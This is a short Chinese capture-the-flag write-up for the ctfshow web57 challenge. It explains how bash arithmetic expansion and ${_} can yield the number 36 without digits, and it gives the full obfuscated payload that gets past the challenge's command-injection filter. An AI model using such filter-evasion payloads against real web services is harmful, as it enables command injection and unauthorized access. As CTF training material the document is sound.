ctfshow web入门 web57

文章目录

      • 0x01
      • 0x02
      • 0x03

ctfshow web入门 web57_第1张图片

看wp分析一波

只要凑出36即可

0x01

shell中各种括号()、(())、[]、[[]]、{}的作用和区别 : https://blog.csdn.net/qq_46091464/article/details/108563368

${_}:代表上一次命令执行的结果
$(()): 做运算

0x02

之前没有命令返回或者执行,结果应该是空,与""等价
$((""))值为0,$((~$((""))))值为-1,再做拼接:

ctfshow web入门 web57_第2张图片

所以可以拼接得到-37 , -37取反得到36

ctfshow web入门 web57_第3张图片

所以payload:

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

ctfshow web入门 web57_第4张图片

0x03

get到某种过滤条件下凑出数字的姿势

你可能感兴趣的:(CTF,shell)